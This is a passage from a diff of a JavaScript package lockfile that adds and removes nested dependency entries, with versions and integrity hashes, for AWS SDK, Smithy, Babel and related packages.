+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-config-provider": ["@smithy/util-config-provider@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-L1RBVzLyfE8OXH+1hsJ8p+acNUSirQnWQ6/EgpchV88G6zGBTDPdXiiExei6Z1wR2RxYvxY/XLw6AMNCCt8H3w=="],
+ "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+ "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
+ "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
+ "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+ "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+ "@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+ "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
+ "@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Ma2XC7VS9aV77+clSFylVUnPZRindhB7BbmYiNOdr+CHt/kZNJoPP0cd3QxCnCFyPXC4eybmyE98phEHkqZ5Jw=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
+ "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
-
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
-
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
-
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
-
- "@babel/core/@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="],
-
- "@babel/helper-create-class-features-plugin/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/helper-member-expression-to-functions/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/helper-module-imports/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/helper-remap-async-to-generator/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/helper-replace-supers/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/helper-skip-transparent-expression-wrappers/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/helper-wrap-function/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-transform-async-generator-functions/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-transform-classes/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-transform-destructuring/@babel/traverse/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
